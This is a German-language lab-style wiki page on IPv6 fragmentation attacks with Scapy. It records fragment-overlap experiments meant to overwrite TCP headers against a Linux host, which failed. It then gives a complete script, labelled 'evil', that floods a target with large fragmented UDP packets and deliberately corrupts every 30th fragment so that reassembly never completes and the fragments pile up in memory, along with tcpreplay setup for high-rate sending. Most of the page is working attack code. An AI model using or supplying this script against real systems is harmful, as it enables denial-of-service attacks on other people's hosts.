Inhaltsverzeichnis
IPv6-Pakete fragmentieren
Scapy: Die fragment6(packet, size) Funktion setzt voraus, dass das zu fragmentierende Paket bereits einen Fragmentation-Header besitzt, ansonsten wird nicht fragmentiert.
Linux akzeptiert nur Fragmente deren Payload-Länge ein Vielfaches von 8 ist (Offset wird als Vielfaches von 8 Byte angegeben), ansonsten gibt es eine ICMP-Parameter-Problem Meldung
Versuch 1: Überschreiben von Paketfragmenten mit neueren Informationen
dest="2001:db8:1:0:a00:27ff:affe:1234" /* Ubuntu */ p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/TCP(sport=17002,dport=23,flags="S")/Raw("x"*36) p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36) send(p23) send(p80)
Allerdings schlägt die Reassembly auf dem Zielsystem trotzdem fehl (Time Exceeded). Da beide Pakete den Offset 0 tragen und auf das p80 Paket auch eine passende Antwort vom Zielsystem generiert wird, ist davon auszugehen, dass Fragmente mit 'Offset 0' separat behandelt werden (nicht überschrieben)!
Versuch 2: Alternative incl. Destination Header
Es wird ein Destination Header hinzugefügt, so dass das 2. Fragment mit einem höheren Offset als '0' versandt werden kann und trotzdem der Transport-Header überschrieben werden könnte.
Das Reassembly funktioniert jetzt, allerdings nicht wie erwartet: Linux mit Kernel 2.6.35 scheint für diesen Angriff nicht empfindlich zu sein, das erste empfangene Fragment bleibt erhalten und wird nicht überschrieben.
/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/
p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt(nh=6) p22 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=22,flags="S")/Raw("x"*40)
/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/ /* Verschiedener Upper-Layer Header im 1. Fragment → Telnet (Port 23) */
p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt()/TCP(sport=17002,dport=23,flags="S")/Raw("y"*20)
/* Next Header im nächsten Fragment muss 'Destination Header' sein → WWW (Port 80) */
p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)
>>> i=IPv6(dst="2001:db8:20::1") >>> ext=IPv6ExtHdrFragment() >>> q=UDP()/Raw(load="X"*50000) >>> p=Ether()/i/ext/q ## Ether() is requiered for sendpfast() >>> ar1=fragment6(p, 1280)
Senden:
>>> sendp(ar1)
oder schneller:
>>> sendpfast(ar1)
Ein böses Script
#! /usr/bin/env python from scapy.all import IPv6,IPv6ExtHdrFragment,UDP,Ether,fragment6,sendpfast,Raw,wrpcap import sys ar1=[] target="2001:db8:20::1" fragmentsize=1280 for n in range(1,10): ## Wert erhöhen um mehr Pakte zu erzeugen die Fragmentiert werden i=IPv6(dst=target) ext=IPv6ExtHdrFragment() q=UDP()/Raw(load="V"*50000) p=Ether()/i/ext/q ar1.extend(fragment6(p, fragmentsize)) f=len(ar1) x=0 while x < f: ## ueberschreibt jedes 30. Fragment mit dem 3. ar1[x]=ar1[2] ## Fragmente werden so nie vollständig übertragen x=x+30 ## und verbleiben im Speicher von target sendpfast(ar1)
Evenuell sind noch folgende Änderungen vorzunehmen
in Scapys sendrecv.py:
257: @conf.commands.register 258: def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, iface=None): -->: from scapy.utils import wrpcap 259: """Send packets at layer 2 using tcpreplay for performance
tcpreplay muss installiert sein:
$ sudo apt-get install tcpreplay